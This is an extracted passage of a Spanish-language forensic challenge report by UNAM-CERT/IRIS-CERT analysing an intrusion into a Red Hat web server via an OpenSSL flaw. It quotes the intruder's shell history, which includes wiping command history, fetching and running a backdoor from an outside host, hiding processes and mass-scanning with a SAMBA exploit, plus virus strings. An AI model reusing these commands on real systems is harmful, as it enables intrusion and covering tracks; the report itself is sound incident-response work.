unset HISTFILE (Esta linea <strong>de</strong>sactiva el guardado <strong>de</strong>l historial)<br />

unset HISTSAVE (Esta linea <strong>de</strong>sactiva el guardado <strong>de</strong>l historial)<br />

rm -rf /bash.history Elimina el historial <strong>de</strong> comandos<br />

rm -rf /root/.bash_history Elimina el historial <strong>de</strong> comandos, asi<br />

que probablemente aquí fue don<strong>de</strong> se eliminaron los logs <strong>de</strong> el<br />

equipo.<br />

id Verifica el usuario nuevamente. Parece que algo salio mal.<br />

su Intenta convertirse en “root”. Aun que todo párese indicar que ya<br />

“root” en ese momento<br />

cd crk Otra vez intenta instalar<br />

dir<br />

./install eliteaz 9933 Esta vez instala en el puerto 9933<br />

ssh -l weed localhost Intenta conectarse con el usuario weed<br />

ls <strong>–</strong>sa Lista el contenido<br />

dir Lista el contenido nuevamente. Es evi<strong>de</strong>nte que algo no va bien.<br />

passwd weed Cambia el password y reintenta la conexión.<br />

ssh -l weed localhost<br />

eliteazazel<br />

Finalmente opta por eliminar el usuario weed<br />

user<strong>de</strong>l weed<br />

/usr/sbin/user<strong>de</strong>l weed<br />

Nuevamente lista el contenido y esta vez elimina un archivo own y<br />

sc/* pue<strong>de</strong> haber sido otro intento <strong>de</strong> instalar el mismo troyano<br />

<strong>de</strong>scrito anteriormente.<br />

ls =-sa<br />

dir<br />

rm -rf own<br />

cd sc<br />

dir<br />

cd ..<br />

rm -rf sc*<br />

Se cambia al directorio /var/log crea un directorio daemon, <strong>de</strong>scarga<br />

el archivo “pico”, lo oculta llamándolo “ “ y finalmente lo ejecuta.<br />

Este archivo es el que habíamos encontrado anteriormente y al cual<br />

llamamos archivo misterioso, como ya vimos se trata <strong>de</strong> un backdoor.<br />

cd /var/log<br />

dir<br />

mkdir daemon<br />

wget www.zetu.as.ro/pico<br />

chmod +x pico<br />

mv pico " "<br />

export PATH="."<br />

" "<br />

Mata el proceso zbind. “zbind” es una utilería generalmente<br />

contenida en “za.tgz” junto a los archivos za, y zero (Aquí se<br />

13


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

explica que anteriormente halla borrado todo lo referente a za*.),<br />

existe poca información al respecto, sin embargo parece tratarse <strong>de</strong><br />

un backdoor que abre un puerto en la maquina para recibir conexiones<br />

“telnet” en el puerto 4000 y obtener una shell como “root”. Es <strong>de</strong><br />

notar que no haya evi<strong>de</strong>ncia <strong>de</strong> que haya bajado dicha utilería, ni<br />

evi<strong>de</strong>ncia <strong>de</strong> su ejecución. Por tanto es probable que dichas acciones<br />

hayan sido tomadas como otro usuario <strong>de</strong>l sistema y a través <strong>de</strong> ellas<br />

haya obtenido el acceso como root (Elevación <strong>de</strong> privilegios).<br />

/usr//sbin/killall -9 zbind<br />

/usr/sbin/killall -9 zbind<br />

/usr/bin/killall -9 zbind<br />

bash<br />

Bien hasta aquí sabemos que el sistema fue comprometido el día<br />

29 <strong>de</strong> Enero entre las 15:00 y las 15:30, también tenemos un<br />

historial <strong>de</strong> lo que realizo el atacante al menos hasta las 15:27,<br />

Continuemos con nuestra revisión, a las 15:25 se modificaron una<br />

gran cantidad <strong>de</strong> archivos en /etc, probablemente se <strong>de</strong>ba a la<br />

instalación <strong>de</strong> un rootkit:<br />

29 ene 15:25 /etc/dhcpc ..<br />

29 ene 15:25 /etc/<strong>de</strong>fault ..<br />

29 ene 15:25 /etc/skel ..<br />

29 ene 15:25 /etc/iproute2 ..<br />

29 ene 15:25 /etc/make<strong>de</strong>v.d ..<br />

29 ene 15:25 /etc/hotplug ..<br />

29 ene 15:25 /etc/security ..<br />

29 ene 15:25 /etc/openldap ..<br />

29 ene 15:25 /etc/alternatives<br />

…<br />

A las 15:36 se instala w00t, un sniffer con escáner <strong>de</strong><br />

puertos. Que como veremos más a<strong>de</strong>lante también proporciona una<br />

herramienta para realizar un exploit a servidores <strong>de</strong> samba<br />

vulnerables:<br />

29 ene 15:36 /var/tmp w00t<br />

29 ene 15:36 /var/tmp/w00t 200.207.pscan.139<br />

29 ene 15:36 /var/tmp/w00t .<br />

Y finalmente un huellas <strong>de</strong> un servidor Proxy <strong>de</strong> IRC el psybnc:<br />

29 ene 15:46 /var/tmp/psybnc/psybnc.pid<br />

29 ene 15:46 /var/tmp/psybnc/log/psybnc.log<br />

29 ene 15:48 /var/tmp/psybnc/log<br />

29 ene 15:48 /var/tmp/psybnc/log/USER1.TRL<br />

29 ene 15:48 /var/tmp/psybnc/log .<br />

29 ene 15:49 /var/tmp/psybnc motd<br />

14


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

29 ene 15:49 /var/tmp/psybnc/motd/USER1.MOTD<br />

29 ene 15:49 /var/tmp/psybnc/motd .<br />

29 ene 17:53 /var/tmp/psybnc/psybnc.conf.old<br />

29 ene 17:53 /var/tmp/psybnc/psybnc.conf<br />

Con eso termina la actividad <strong>de</strong>l atacante el día 29. En este<br />

punto po<strong>de</strong>mos ya generar un perfil <strong>de</strong>l atacante, si usamos la<br />

clasificación que comúnmente se usa para <strong>de</strong>nominar a los Hackers<br />

según sus habilida<strong>de</strong>s y conocimientos, y asumimos tres niveles<br />

siendo Elite Hackers el nivel mas alto, Hackers el nivel medio y<br />

Script Kiddie's el nivel mas bajo. Es evi<strong>de</strong>nte que nuestro atacante<br />

se ubicaría en el nivel mas bajo “Script Kiddie's”. Las razones para<br />

ubicarlo ahí son:<br />

a) El atacante utilizo herramientas y utilerías disponibles en<br />

la red. Mientras que los Hacker's, y los Elite Hacker's prefieren<br />

utilizar herramientas escritas por ellos, los Script Kiddie's<br />

utilizan generalmente herramientas que encuentran en la red y medio<br />

conocen su funcionamiento. Las razones <strong>de</strong> un Hacker para preferir<br />

una herramienta escrita por el son varias, una herramienta que se<br />

encuentre en la red podrá ser rastreada (Como lo hicimos aquí),<br />

probablemente <strong>de</strong>je una firma que pueda ser <strong>de</strong>tectada, el escribir<br />

sus propias herramientas da mas realce al nombre <strong>de</strong>l Hacker (Lo<br />

ubica como Elite), etc;<br />

b) En varias ocasiones el atacante parece no saber que hacer.<br />

Mas que un atacante con plan <strong>de</strong> activida<strong>de</strong>s bien realizado (Es <strong>de</strong>cir<br />

un atacante que haya planeado vulnerar intencional y específicamente<br />

este equipo), da la impresión <strong>de</strong> que llego ahí por mera casualidad ,<br />

y , una vez <strong>de</strong>ntro trato <strong>de</strong> hacer cuando pudo, no seria una sorpresa<br />

que hubiese usado un escáner <strong>de</strong> vulnerabilida<strong>de</strong>s probando varias<br />

re<strong>de</strong>s hasta que dio con nuestra maquina.<br />

c)Las consecuencias legales <strong>de</strong> un ataque informático pue<strong>de</strong>n<br />

ser varias. El muy dudoso que algún Hacker <strong>de</strong> Elite se arriesgara a<br />

enfrentar un proceso Judicial por “chatear” en el IRC.<br />

Dicho esto prosigamos con el análisis, dado que ya sabemos que<br />

el ataque se produjo el día 29 <strong>de</strong> Enero, repetiremos el ejercicio <strong>de</strong><br />

análisis <strong>de</strong> fechas para los días 30 y 31 a fin <strong>de</strong> recabar más<br />

información los comandos a utilizar son:<br />

#ls -lRsa /mnt/escena/ | grep 'Jan 30' ><br />

$HOME/archivos<strong>de</strong>l30.txt<br />

#ls -lRsa /mnt/escena/ | grep 'Jan 31' ><br />

$HOME/archivos<strong>de</strong>l31.txt<br />

15


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

Los resultados <strong>de</strong> estos los analizamos mas a<strong>de</strong>lante, para<br />

seguir un or<strong>de</strong>n veamos ahora lo que obtuvimos al parsear los<br />

archivos hda3.dd y hda6.dd con nuestro script. Nuevamente hda6.dd<br />

(swap) nos queda mal, no pudimos obtener nada <strong>de</strong> ahí, pero <strong>de</strong><br />

hda3.dd(/var), encontramos algo muy interesante, los <strong>de</strong>l Apache Web<br />

Server, dichos log's son fuerte indicativo acerca <strong>de</strong> la forma en que<br />

el atacante llego a la victima, intercalo comentarios en rojo:<br />

[Sat Jan 29 12:11:30 2005] [error] [client 24.211.139.31] File<br />

does not exist: /var/www/html/pk/service (aquí busca el archivo<br />

pk/service que forma parte <strong>de</strong> una vulnerabilidad es una muestra <strong>de</strong><br />

que el servidor estaba bajo escaneos <strong>de</strong> vulnerabilida<strong>de</strong>s)<br />

[Sat Jan 29 12:11:50 2005] [error] [client 24.211.139.31] File<br />

does not exist: /var/www/html/pk/service(Lo mismo que el anterior)<br />

[Sat Jan 29 14:57:44 2005] [error] [client 64.202.43.190]<br />

client sent HTTP/1.1 request without hostname (see RFC2616<br />

section 14.23): /(Aquí el atacante envía una consulta <strong>de</strong><br />

HTTP/1.1 mal formado, note que el log indica la falta <strong>de</strong>l tag Host)<br />

[Sat Jan 29 14:57:45 2005] [error] [client 64.202.43.190]<br />

client sent HTTP/1.1 request without hostname (see RFC2616<br />

section 14.23): /(Lo mismo que el anterior con un segundo <strong>de</strong><br />

diferencia, otra indicación <strong>de</strong> un escáner <strong>de</strong> vulnerabilida<strong>de</strong>s (Tuvo<br />

que ser automatizado, nadie teclea tan rápido))<br />

[Sat Jan 29 14:58:51 2005] [error] mod_ssl: SSL handshake<br />

failed (server 127.0.0.1:443, client 64.202.43.190) (OpenSS<br />

L library error follows)(Se produce un crash en mod_ssl, note<br />

como el error hace referencia al handshake)<br />

[Sat Jan 29 14:58:51 2005] [error] OpenSSL:<br />

error:1406908F:lib(20):func(105):reason(143)(OpenSSL falla)<br />

[Sat Jan 29 15:00:01 2005] [error] mod_ssl: SSL handshake<br />

failed (server 127.0.0.1:443, client 64.202.43.190) (OpenSS<br />

L library error follows) (Se repiten las líneas anteriores,<br />

rcor<strong>de</strong>mos que al atacante mando dos o mas consultas <strong>de</strong> HTTP en menos<br />

<strong>de</strong> un segundo, note la hora <strong>de</strong>l ultimo error 15:14, apenas unos<br />

minutos antes <strong>de</strong> que comenzara la actividad anormal en el equipo)<br />

[Sat Jan 29 15:00:01 2005] [error] OpenSSL:<br />

error:1406908F:lib(20):func(105):reason(143)<br />

[Sat Jan 29 15:10:49 2005] [error] mod_ssl: SSL handshake<br />

failed (server 127.0.0.1:443, client 64.202.43.190) (OpenSS<br />

L library error follows)<br />

[Sat Jan 29 15:10:49 2005] [error] OpenSSL:<br />

error:1406908F:lib(20):func(105):reason(143)<br />

16


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

[Sat Jan 29 15:14:57 2005] [error] mod_ssl: SSL handshake<br />

failed (server 127.0.0.1:443, client 64.202.43.190) (OpenSS<br />

L library error follows)<br />

[Sat Jan 29 18:19:17 2005] [error] System: No existe el<br />

fichero o el directorio (errno: 2)(Despues <strong>de</strong> varias fallas el<br />

Apache + mod_ssl parece no volver a recuperarse)<br />

[Sat Jan 29 18:19:17 2005] [error] mod_ssl: Child could not<br />

open SSLMutex lockfile /etc/httpd/logs/ssl_mutex.723 (Sys<br />

tem error follows)<br />

[Sat Jan 29 18:19:17 2005] [error] System: No existe el<br />

fichero o el directorio (errno: 2)<br />

[Sat Jan 29 18:19:18 2005] [error] mod_ssl: Child could not<br />

open SSLMutex lockfile /etc/httpd/logs/ssl_mutex.723 (Sys<br />

tem error follows)<br />

[Sat Jan 29 18:19:18 2005] [error] System: No existe el<br />

fichero o el directorio (errno: 2)<br />

[Sat Jan 29 18:19:18 2005] [error] mod_ssl: Child could not<br />

open SSLMutex lockfile /etc/httpd/logs/ssl_mutex.723 (Sys<br />

tem error follows)<br />

[Sat Jan 29 18:19:18 2005] [error] System: No existe el<br />

fichero o el directorio (errno: 2)<br />

[Sat Jan 29 18:19:18 2005] [error] mod_ssl: Child could not<br />

open SSLMutex lockfile /etc/httpd/logs/ssl_mutex.723 (Sys<br />

tem error follows)<br />

Se recuperan a<strong>de</strong>más unas líneas <strong>de</strong>l psyBNC, como ya sabemos<br />

que el atacante instalo este servidor Proxy <strong>de</strong> IRC no exponemos esas<br />

líneas, sin embargo como la mayoría <strong>de</strong>l material aquí expuesto se<br />

adjunta la evi<strong>de</strong>ncia en los archivos <strong>de</strong> apoyo enviados junto a este<br />

reporte. Volviendo a lo que nos ocupa, es evi<strong>de</strong>nte que la falla en<br />

el Apache se relaciona <strong>de</strong> algún modo con las activida<strong>de</strong>s <strong>de</strong>l<br />

atacante, tomamos nota <strong>de</strong> la IP 64.202.43.190 que correspon<strong>de</strong> según<br />

www.arin.net a un proveedor <strong>de</strong> Hosting en Reno Nevada EEUU llamado<br />

Altaway, y ejecutamos nuestro script esta vez usando como palabra<br />

clave “Jan “, esto lo hacemos recordando que el sistema inicio el 20<br />

<strong>de</strong> Enero asi que esperamos encontrar una linea “[notice]” <strong>de</strong>l log <strong>de</strong><br />

Apache que nos ayu<strong>de</strong> a i<strong>de</strong>ntificar la versión <strong>de</strong>l mismo. Encontramos<br />

una linea <strong>de</strong>l 23 <strong>de</strong> enero que nos indica a<strong>de</strong>más la versión <strong>de</strong><br />

OpenSSL usada:<br />

[Sun Jan 23 04:02:01 2005] [notice] Apache/1.3.23 (Unix)<br />

(Red-Hat/Linux) mod_ssl/2.8.7 OpenSSL/0.9.6b DAV/1.0.3 PH<br />

P/4.1.2 mod_perl/1.26 configured -- resuming normal operations<br />

a<strong>de</strong>más en el archivo “/etc/httpd/conf/httpd.conf” encontramos<br />

evi<strong>de</strong>ncia <strong>de</strong> que el servicio <strong>de</strong> SSL estaba activo:<br />

17


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

<br />

Listen 80<br />

Listen 443<br />

<br />

Con esta información nos dirigimos a la red, en busca <strong>de</strong><br />

vulnerabilida<strong>de</strong>s conocidas para la combinación Apache/1.3.23 (Unix)<br />

(Red-Hat/Linux) mod_ssl/2.8.7 OpenSSL/0.9.6b Y encontramos que dicha<br />

combinación es vulnerable <strong>de</strong>bido a un fallo que permite obtener una<br />

shell remota al realizar un HandShake <strong>de</strong> ssl enviando un paquete<br />

especialmente malformado, dicha vulnerabilidad se encuentra<br />

documenta en http://www.cert.org/advisories/CA-2002-23.html ,<br />

encontramos que existen varios exploit's para esta vulnerabilidad e<br />

incluso un gusano llamado “slapper-worm”. Sin embargo las líneas <strong>de</strong><br />

log que obtuvimos <strong>de</strong>l log <strong>de</strong> Apache coinci<strong>de</strong>n particularmente con<br />

las firmas <strong>de</strong>l exploit openssl-too-open o alguna <strong>de</strong> sus variantes,<br />

este exploit escrito por “Solar Eclipse” se aprovecha <strong>de</strong> la<br />

vulnerabilidad existente en la versión <strong>de</strong> OpenSSL/0.9.6 que permite<br />

mediante el envió paquetes especialmente formados provocar un Buffer<br />

Overflow en el OpenSSL Handshake al enviar una KEY_ARG especialmente<br />

larga, y asi obtener una shell con el usuario que corre el Apache<br />

Web Server regularmente “nobody” o como en este caso “apache”, para<br />

po<strong>de</strong>r realizar el exploit es necesario enviar dos solicitu<strong>de</strong>s <strong>de</strong><br />

SSL, la primera provocara el buffer overflow y la segunda llevar una<br />

carga especial <strong>de</strong> código “shell” (Esto explicaría el hecho <strong>de</strong> las<br />

solicitu<strong>de</strong>s hechas al Apache en lapsos <strong>de</strong> un segundo). Un punto<br />

interesante <strong>de</strong>l exploit, es que la actividad realizada por el<br />

usuario “nobody” o “apache” no queda registrada.<br />

Una vez que el atacante ha obtenido acceso al equipo pue<strong>de</strong><br />

modificar las paginas Web, o <strong>de</strong>scargar/subir herramientas para<br />

obtener privilegios <strong>de</strong> root. Este exploit regularmente incluye otra<br />

herramienta openssl-scanner a la que se le pue<strong>de</strong>n suministrar varias<br />

IP's para automatizar la tarea (Este pudiera ser el escáner <strong>de</strong><br />

vulnerabilida<strong>de</strong>s que habíamos supuesto uso).<br />

No es la intención <strong>de</strong> este documento centrarse en la<br />

<strong>de</strong>scripción <strong>de</strong> dicho exploit asi que solo se <strong>de</strong>scribe a gran<strong>de</strong>s<br />

18


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

rasgos su funcionamiento, sin embargo se recomienda ampliamente leer<br />

el documento llamado “Traveling Through the OpenSSL Door” escrito<br />

por Keven Murphy para SANS Institute que <strong>de</strong>scribe <strong>de</strong> forma bastante<br />

<strong>de</strong>tallada el exploit y la vulnerabilidad, dicho documento pue<strong>de</strong> ser<br />

hallado en<br />

http://www.giac.org/certified_professionals/practicals/gcih/0432.php<br />

. Adicionalmente hemos encontrado que este exploit se ha<br />

empaquetado con otras herramientas para realizar escaneos masivos <strong>de</strong><br />

host's, en búsqueda <strong>de</strong> maquinas vulnerables (Un ejemplo es el<br />

paquete atd.tgz, cuya <strong>de</strong>scripción se encuentra en<br />

http://www.lurhq.com/atd.html )<br />

Siguiendo las líneas <strong>de</strong> log que coinci<strong>de</strong>n con las firmas <strong>de</strong>l<br />

exploit antes mencionado encontramos que la última quedo registrada<br />

a las 15:14:57:<br />

[Sat Jan 29 15:14:57 2005] [error] mod_ssl: SSL handshake<br />

failed (server 127.0.0.1:443, client 64.202.43.190) (OpenSS<br />

L library error follows)<br />

Apenas dos minutos antes <strong>de</strong> comenzara la actividad anormal en<br />

el equipo. Llegado este punto recapitulamos brevemente nuestros<br />

hallazgos. Suponemos que el atacante estaba realizando un escaneo<br />

buscando especialmente explotar la vulnerabilidad <strong>de</strong> Apache/ OpenSSL<br />

0.9.6b cuando se topo con nuestro Host, usando el exploit opensslto-open<br />

vulnero exitosamente el equipo y obtuvo una shell bajo el<br />

usuario “apache” (Que era el usuario que corría el Web Server).<br />

Descargo e instalo la serie <strong>de</strong> utilerías contenidas en za.tgz. y<br />

ejecuto el backdoor zbind que le permitió abrir una shell en el<br />

puerto 4000 con probables permisos <strong>de</strong> “root” o ejecuto alguna <strong>de</strong> las<br />

otras herramientas para obtener los permisos <strong>de</strong>l superusuario.<br />

A partir <strong>de</strong> ahí <strong>de</strong>scargo y ejecuto una serie <strong>de</strong> herramientas<br />

para mantener el acceso remoto(De las cuales una estaba infectada<br />

con una variante <strong>de</strong>l virus RST.b), dio <strong>de</strong> alta un usuario “weed” con<br />

privilegios <strong>de</strong> superusuario y finamente instalo un IRC Proxy Server.<br />

Para corroborar nuestra teoría <strong>de</strong> que el sistema esta a<strong>de</strong>más<br />

infectado con un virus realizamos una prueba ejecutando el comando<br />

strings < gawk | more (Elegimos este archivo por ser <strong>de</strong> los primeros<br />

en ser modificados). Y ahí encontramos la firma <strong>de</strong>l virus:<br />

/<strong>de</strong>v/hdx<br />

SQRVW<br />

ZY[=<br />

ZY[=<br />

_^ZY[<br />

SQRVW<br />

19


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

Y[_^ZY[<br />

ZY[=<br />

[SQRVW<br />

tBSQR<br />

ZY[=<br />

ZY[=<br />

[X_^ZY[<br />

DOM`<br />

/bin/sh<br />

xxxxyyyyzzzz<br />

Y[XXXXXX<br />

GET /~telcom69/gov.php HTTP/1.0<br />

Despues <strong>de</strong> revisar varios archivos que aparecen modificados a<br />

partir <strong>de</strong>l 29 encontramos que el virus se instalo en prácticamente<br />

la mayoría <strong>de</strong> los ejecutables <strong>de</strong> uso común <strong>de</strong>l sistema, algunos <strong>de</strong><br />

los archivos infectados fueron netstat, mt, mktemp, mknod, mkdir,<br />

mail, ls, ln, hostname, <strong>de</strong>, df, dd, cpio, chown y chgrp.<br />

Un ejercicio adicional consistió en buscar <strong>de</strong>ntro <strong>de</strong> hda3.dd<br />

evi<strong>de</strong>ncia <strong>de</strong>l exploit usado para obtener acceso, esto <strong>de</strong>bido a que<br />

probablemente y por el perfil <strong>de</strong>l atacante (Que anteriormente<br />

supusimos), es factible que vaya a intentar usar nuestro host como<br />

plataforma para lanzar nuevos ataques, basados en el documento <strong>de</strong><br />

Keven Murphy buscamos por la dirección <strong>de</strong> correo <strong>de</strong>l autor (Solar<br />

Eclipse) la linea ejecutada fue la siguiente:<br />

#./parser.pl "solareclipse" /media/cdrecor<strong>de</strong>r/hda6.dd<br />

solar.txt<br />

Y encontramos una linea <strong>de</strong>l exploit:<br />

* by Solar Eclipse <br />

Resta poco por hacer ahora que ya tenemos la tesis sobre el<br />

ataque, finalmente analicemos la actividad <strong>de</strong>l atacante para los<br />

días siguientes (30 y 31 <strong>de</strong> Enero). Para el día 30 solo encontramos<br />

actividad a las 4 AM, y esta fue genera probablemente por el cron <strong>de</strong><br />

la maquina. Para el día 31 tenemos actividad en psyBNC a las 3:12:<br />

31 ene 3:12 /var/tmp/psybnc/USER1.LOG<br />

31 ene 3:12 /var/tmp/psybnc/.<br />

31 ene 3:12 /var/tmp/psybnc/scripts ..<br />

31 ene 3:12 /var/tmp/psybnc/help ..<br />

31 ene 3:12 /var/tmp/psybnc/menuconf ..<br />

31 ene 3:12 /var/tmp/psybnc/tools ..<br />

31 ene 3:12 /var/tmp/psybnc/motd ..<br />

20


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

31 ene 3:12 /var/tmp/psybnc/log ..<br />

31 ene 3:12 /var/tmp psybnc<br />

El archivo /var/tmp/psybnc/log/psybnc.log nos muestra que el<br />

IRC Proxy Server arranco con fallas:<br />

Sat Jan 29 15:46:42 :Listener created :0.0.0.0 port 17900<br />

Sat Jan 29 15:46:42 :Error Creating Socket<br />

Sat Jan 29 15:46:42 :Can't create listening sock on host *<br />

port 17900<br />

Sat Jan 29 15:46:42 :Can't set a suitable Host for DCC Chats<br />

or Files. Please <strong>de</strong><br />

fine at least one Listener for an IP.<br />

Sat Jan 29 15:46:42 :psyBNC2.2.1-cBtITLdDMSNp started (PID<br />

:24907)<br />

A las 4:02 encontramos otra serie <strong>de</strong> archivos modificados,<br />

entre ellos el rpmpkgs, ahora si po<strong>de</strong>mos <strong>de</strong>sechar totalmente la i<strong>de</strong>a<br />

<strong>de</strong> realizar un análisis <strong>de</strong> verificación <strong>de</strong> firmas.<br />

31 ene 4:02 /var/lib/logrotate.status<br />

31 ene 4:02 /var/lib/rpm<br />

31 ene 4:02 /var/lib/rpm .<br />

31 ene 4:02 /var/log rpmpkgs<br />

31 ene 4:02 /var/log .<br />

31 ene 4:02 /var/spool/anacron/cron.daily<br />

31 ene 4:02 /var/log<br />

31 ene 4:12 /var/lib/slocate<br />

31 ene 4:12 /var/lib/slocate/slocate.db<br />

31 ene 4:12 /var/lib/slocate .<br />

A las 11:54 aparecen dos nuevas herramientas w00t que trae una<br />

serie <strong>de</strong> exploits y backdoors, y selena que trae el escáner <strong>de</strong><br />

puertos pscan2 y unas utilerías para escanear vulnerabilida<strong>de</strong>s,<br />

este paquete también estaba infectado con el virus RST.b o alguna <strong>de</strong><br />

sus variantes:<br />

/bin/sh<br />

xxxxyyyyzzzz<br />

21


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

Y[XXXXXX<br />

GET /~telcom69/gov.php HTTP/1.0<br />

31 ene 11:54 /var/tmp/w00t ..<br />

31 ene 11:54 /var/tmp/psybnc ..<br />

31 ene 11:54 /var/tmp/selena ..<br />

31 ene 11:54 /var/tmp/selena/ssvuln<br />

31 ene 11:54 /var tmp<br />

31 ene 11:54 /var/tmp .<br />

Y por consecuencia se da la infección <strong>de</strong> más programas <strong>de</strong>ntro<br />

<strong>de</strong> la maquina:<br />

31 ene 12:03 /bin/setserial<br />

31 ene 12:03 /bin/ping<br />

31 ene 12:03 /bin/netstat<br />

31 ene 12:03 /bin/mt<br />

31 ene 12:03 /bin/mktemp<br />

31 ene 12:03 /bin/mknod<br />

31 ene 12:03 /bin/mkdir<br />

31 ene 12:03 /bin/mail<br />

31 ene 12:03 /bin/ls<br />

31 ene 12:03 /bin/ln<br />

31 ene 12:03 /bin/hostname<br />

31 ene 12:03 /bin/ed<br />

31 ene 12:03 /bin/df<br />

31 ene 12:03 /bin/dd<br />

31 ene 12:03 /bin/cpio<br />

31 ene 12:03 /bin/chown<br />

31 ene 12:03 /bin/chgrp<br />

Mas actividad <strong>de</strong> selena, y nuevamente un archivo<br />

.bash_history.<br />

31 ene 12:03 /var/tmp/selena/sslex<br />

31 ene 12:03 /var/tmp/selena/217.172.ssl.out<br />

31 ene 12:03 /var/tmp/selena/ssx<br />

31 ene 12:03 /var/tmp/selena/sslx<br />

31 ene 12:03 /var/tmp/selena/ssl<br />

31 ene 12:03 /var/tmp .bash_history<br />

22


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

Correos en cola, para root:<br />

31 ene 13:31 /var/spool/mqueue/dfj0VJV0A25551<br />

31 ene 13:31 /tmp/logwatch.XXLltDIY ..<br />

31 ene 13:31 /tmp/makewhatisnuAB1j ..<br />

31 ene 13:31 /tmp/makewhatisLZwx4z ..<br />

31 ene 13:31 /tmp .<br />

31 ene 13:31 /tmp<br />

31 ene 14:59 /var/spool/mqueue/qfj0VJV0A25551<br />

31 ene 15:20 /var/spool/mail/root<br />

31 ene 15:20 /var/spool/mail .<br />

31 ene 15:20 /var/spool/mqueue .<br />

31 ene 15:20 /var/spool/mqueue<br />

31 ene 15:20 /var/spool/mail<br />

31 ene 15:20 /etc/mail/statistics<br />

Y finalmente la ejecución <strong>de</strong>l fichero /etc/mrtg:<br />

31 ene 15:25 /etc/mrtg mrtg.ok<br />

31 ene 15:25 /etc/mrtg .<br />

31 ene 15:25 /etc mrtg<br />

Analizaremos ahora la actividad en el último .bash_history que<br />

encontramos, anexo comentarios en rojo:<br />

w Verifica la i<strong>de</strong>ntidad <strong>de</strong>l usuario con el que se encuentra<br />

cd /var/tmp Se cambia al directorio /var/tmp y lista el<br />

contenido, note que nuevamente ejecuta ls -sa y dir, suponemos que<br />

se trata <strong>de</strong>l mismo atacante.<br />

ls -sa<br />

dir<br />

rm -rf /tmp/* Elimina el contenido <strong>de</strong> /tmp/ y se cambia al<br />

directorio /var/log<br />

cd /var/log<br />

dir<br />

exit Intenta abandonar el shell con el que se encontraba y<br />

verifica la i<strong>de</strong>ntidad <strong>de</strong>l usuario nuevamente.<br />

id<br />

Se cambia a /var/tmp y lista el contenido<br />

cd /var/tmp<br />

23


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

ls<br />

dir<br />

Descarga woot.tgz <strong>de</strong>l que anteriormente hablamos, lo<br />

<strong>de</strong>sempaqueta y ejecuta el asmb que es un escáner y exploit <strong>de</strong><br />

vulnerabilida<strong>de</strong>s <strong>de</strong> SAMBA para re<strong>de</strong>s clase B<br />

wget www.zetu.as.ro/woot.tgz<br />

tar xvfz woot.tgz<br />

cd w00t<br />

./asmb 200.207<br />

Se cambia a /<strong>de</strong>v/shm y <strong>de</strong>scarga psyz.tar.gz que es otro<br />

paquete <strong>de</strong>l psyBNC, como vimos anteriormente parece que tuvo<br />

problemas para arrancarlo.<br />

ls<br />

dir<br />

cd /<strong>de</strong>v/shm<br />

dir<br />

wget www.zetu.as.ro/psyz.tar.gz<br />

tar xzvf psyz.tar.gz<br />

rm -rf psyz.tar.gz<br />

Cambia <strong>de</strong> opinión y elimina el paquete que acaba <strong>de</strong> <strong>de</strong>scargar,<br />

mejor baja un archivo preconfigurado <strong>de</strong> psybnx, oculta el ejecutable<br />

como “ps ax” e inicia el servicio <strong>de</strong> psybnc<br />

mv psybnc local<br />

cd local<br />

rm -rf psybnc.conf*<br />

wget www.zetu.as.ro/psybnc/psybnc.conf<br />

mv psybnc "ps ax"<br />

export PATH="."<br />

"ps ax"<br />

Regresa a /var/tmp y elimina el anteriormente <strong>de</strong>scargado<br />

woot.tgz, nuevamente intenta instalar el psybnc.tgz<br />

cd var/tmp<br />

dir<br />

rm -rf woot.tgz<br />

dir<br />

wget www.zetu.as.ro/psybnc.tgz<br />

tar xvfz psybnc.tgz<br />

cd psybnc<br />

./psybnc<br />

w<br />

exit<br />

w<br />

Aquí finalmente <strong>de</strong>scarga selena.tgz y ejecuta assl.<br />

ps aux<br />

cd /var/tmp<br />

ls<br />

dir<br />

24


Titulo: Informe Técnico <strong>Reto</strong> <strong>Forense</strong> <strong>V2.0</strong><br />

Fecha: 18/ Feb/ 2005 <strong>UNAM</strong>-<strong>CERT</strong>/ <strong>IRIS</strong> <strong>CERT</strong><br />

